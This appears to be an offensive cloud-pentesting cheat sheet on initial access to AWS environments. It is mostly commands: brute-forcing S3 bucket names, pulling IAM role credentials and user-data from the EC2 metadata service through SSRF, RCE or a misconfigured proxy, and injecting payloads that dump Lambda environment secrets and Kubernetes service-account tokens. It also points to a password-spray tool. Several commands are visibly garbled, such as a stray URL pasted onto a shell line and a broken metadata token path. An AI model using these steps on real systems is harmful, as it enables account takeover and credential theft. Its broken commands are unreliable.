Initial Access

Getting the initial foothold in organization’s aws cloud environment:

Exploiting Web App

- Public S3 Buckets

Misconfigured S3 buckets can be publicly accessible, allowing unauthorized users to read, write, or delete the contents. Ensuring proper bucket policies and access controls is critical to prevent data leakage.

To find if a webpage is using AWS to storage some resources:

  • Wappalyzer

  • Burp Suite (Check for resources in domains like: s3.amazonaws.com/[bucket_name]/ or [bucket_name].s3.amazonaws.com/)

  • CNAMES as resources.domain.com might have the CNAME bucket.s3.amazonaws.com

  • To check already discovered open buckets: https://buckets.grayhatwarfare.com

! The bucket name and the bucket domain name needs to be the same.

To find buckets brute-forcing names related to the target company:

# Generate a wordlist to create permutations
curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt

# Generate a wordlist based on the domains and subdomains to test
## Write those domains and subdomains in subdomains.txt
cat subdomains.txt > /tmp/words-hosts-s3.txt
cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt

# Create permutations based in a list with the domains and subdomains to attack
goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
## The previous tool is specialized increating permutations for subdomains, lets filter that list
### Remove lines ending with "."
cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
### Create list without TLD
cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
### Create list without dots
cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
### Create list without hyphens
cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5

## Generate the final wordlist
cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt

## Call s3scanner
s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists

Other usefull tools for bucket brute-forcing are:

Once obtained a bucket, use BucketLoot (https://github.com/redhuntlabs/BucketLoot) to gather information from it.

Then, to find the region of the bucket (https://docs.aws.amazon.com/general/latest/gr/s3.html):

dig example.cloud

nslookup {IP from previous command}

This can also be discovered trying to load the bucket within an incorrect location, so it discloses the correct one.

Finally, to enumerate the bucket:

aws s3 ls s3://example.cloud/ --no-sign-request --profile {PROFILE_NAME} --recursive --region {region}

And, to get Account ID from public Bucket:

pipx install s3-account-search

pip install s3-account-search

s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket

s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext

An other usefull automated tool: https://github.com/plerionhq/conditional-love/

- Elastic Compute Cloud (EC2)

EC2 instances can be misconfigured to expose sensitive services to the internet. Attackers often look for open ports such as SSH (22), RDP (3389), and web services (80, 443) that can be exploited for further access or attacks.

Initial access can happen by RCE or SSRF. Metadata can be used to exfiltrate information from the instance

To identify services running on EC2 instances just use OSINT (Shodan, Censys, …) or nmap scans.

To enumerate them by their public IP:

aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text

If we have remote code execution or SSRF, we can grab metadata information:

curl http://{ip}/latest/meta-data

Version 1:

curl http://{ip}/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Version 2:

TOKEN=`curl -X PUT "http://{ip}/latest/ api /token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://{ip}/latest/meta-data/

To grab AWS Userdata:

Version 1:

curl http://{ip}/latest/user-data/

Version 2:

TOKEN=`curl -X PUT "http://{ip}/latest/ api /token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://{ip}/latest/user-data/

To gather credentials of roles associated with a key we already have:

aws sts get-caller-identity

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_OF_PREVIOUS_COMMAND

http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM Role Name>

If a proxy service like Nginx is being hosted in AWS and is misconfigured, you can potentially hit it externally:

curl --proxy vulndomain.target.com:80 http://169.254.169.254/latest/metadata/iam/security-credentials/ && echo

- Elastic Beanstalk

As a service for deploying and managing applications, misconfigurations in Elastic Beanstalk environments can lead to application-level vulnerabilities being exposed, such as insecure application settings, outdated libraries, or flawed authentication mechanisms.

To identify default or sample applications deployed via AWS Elastic Beanstalk that might be publicly accessible, locate subdomains from target mapped to elasticbeanstalk.com.

- Containers: ECR (Amazon Elastic Container Registry), ECS (Amazon Elastic Container Service) and EKS (Amazon Elastic Kubernetes Service)

If we obtain a RCE, we can list all secrets in EKS:

https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount

For getting the secret information from EKS:

https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount/token

It's also possible to do sandbox escaping with tools like deepce (https://github.com/stealthcopter/deepce).

- Amazon RDS

Publicly accessible RDS databases can be susceptible to various attacks like SQL injections if not properly secured with strict network access controls and strong authentication.

To discover RDS instances that are exposed to the internet with open ports:

nmap -p 5432,3306,1433 <IP range> # Common ports for PostgreSQL, MySQL, SQL Server

The public url templates are:

mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306

postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432

AWS allows giving access to anyone to download RDS snapshots. To list these public RDS snapshots:

aws rds describe-db-snapshots --include-public

To search by account ID:

aws rds describe-db-snapshots --include-public --query 'DBSnapshots[?contains(DBSnapshotIdentifier, `284546856933:`) == `true`]'

If authenticated, to can check if there is any public snapshot with:

aws rds describe-db-snapshots --snapshot-type public [--region us-west-2]

- AWS Management Console

Exposing too many privileges or having weak credentials can lead to unauthorized access. Phishing attacks targeting AWS credentials are also common due to the high level of access they can grant.

Checking for misconfigurations or exposed data often isn't possible without access; however, leaked credentials or overly permissive IAM roles can occasionally be found on code repositories or forums.

- Lambda & API Gateway

Incorrectly configured API Gateways can expose sensitive data or backend services directly to the internet. Ensuring that APIs have proper authentication and authorization mechanisms is key.

Check for insecure endpoints and lack of rate limiting.

Keys can be gathered exploiting the following vulnerabilities:

Getting credentials using RCE:

https://apigateway/prod/system?cmd=env

Getting credentials using SSRF:

https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/next

Getting credentials using SSRF and wrappers:

https://apigateway/prod/system?cmd=file:///proc/self/environ

- Elasticsearch Service

Publicly accessible clusters may be subject to data exfiltration, unauthorized data manipulation, or Denial of Service (DoS) attacks if not properly secured.

To check for unsecured Elasticsearch clusters:

curl -X GET "http://[Elasticsearch-IP]:9200/_cat/indices?v"

Valid Credential

- Password Spray

GoAWSConsoleSpray: https://github.com/WhiteOakSecurity/GoAWSConsoleSpray

- Phishing, AiTM, Illicit Consent Grant Attack, …

Leaked Credential

- OSINT (SVN, Dark Web, etc.) --> Look for Access Key ID and Secret

PreviousBasic InfoNextEnumeration

Last updated